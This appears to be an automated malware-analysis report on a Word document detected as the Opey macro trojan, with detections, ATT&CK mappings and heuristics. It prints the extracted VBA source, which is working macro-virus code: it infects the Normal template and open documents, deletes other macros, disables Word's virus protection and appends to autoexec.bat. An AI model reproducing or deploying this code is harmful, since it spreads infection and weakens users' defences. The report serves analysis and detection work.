MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro. The macro attempts to append commands to 'c:\autoexec.bat', indicating an attempt to establish persistence or execute a secondary payload. ClamAV detections further support its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Opey-18
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18647 bytes |
SHA-256: feaa78891f40f84e846a8a45b3614a143e7bb931a7b637fc33f71eee31410c17 |
|||
|
Detection
ClamAV:
Doc.Trojan.Opey-15
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "A_OPEY_05"
Sub greetings()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
End If
If (Month(Date) = 11) And (Day(Date) = 1) Then
line1$ = "echo HAPPY HALLOWEEN !!!"
End If
If (Month(Date) = 2) And (Day(Date) = 14) Then
line1$ = "echo HAPPY VALENTINES DAY !!!"
End If
If (Month(Date) = 4) And (Day(Date) = 1) Then
line1$ = "echo HAPPY LABOR DAY !!!"
End If
If (Month(Date) = 11) And (Day(Date) = 30) Then
line1$ = "echo BONIFACIO DAY !!!"
End If
If (Month(Date) = 12) And (Day(Date) = 30) Then
line1$ = "echo RIZAL DAY !!!"
End If
If (Month(Date) = 6) And (Day(Date) = 12) Then
line1$ = "echo HAPPY INDEPENDENCE DAY !!!"
End If
If (Month(Date) = 4) And (Day(Date) >= 1) And (WeekDay(Date) >= 5) Then
line1$ = "echo HOLY WEEK !!!"
End If
If line1$ <> "" Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: OPEY A."
Print #hFile, "pause"
Close hFile
End If
End Sub
Sub OnlyYou()
On Error Resume Next
Call A_OPEY_05
NTInfected = False
For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(I).Name
If clan = "A_OPEY_05" Then NTInfected = True
If (clan <> "A_OPEY_05") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next I
For Each opendoc In Documents
ODInfected = False
With opendoc
For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(j).Name
If clan = "A_OPEY_05" Then ODInfected = True
If (clan <> "A_OPEY_05") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next j
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_05", Object:=wdOrganizerObjectProjectItems
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_05", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call greetings
End Sub
Sub A_OPEY_05()
On Error Resume Next
Application.UserName = "OPEY A."
Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
Application.UserInitials = "LOVE"
With Dialogs(wdDialogFileSummaryInfo)
.Author = "OPEY A."
.Title = "LOVE"
.Execute
End With
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With
On Er
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.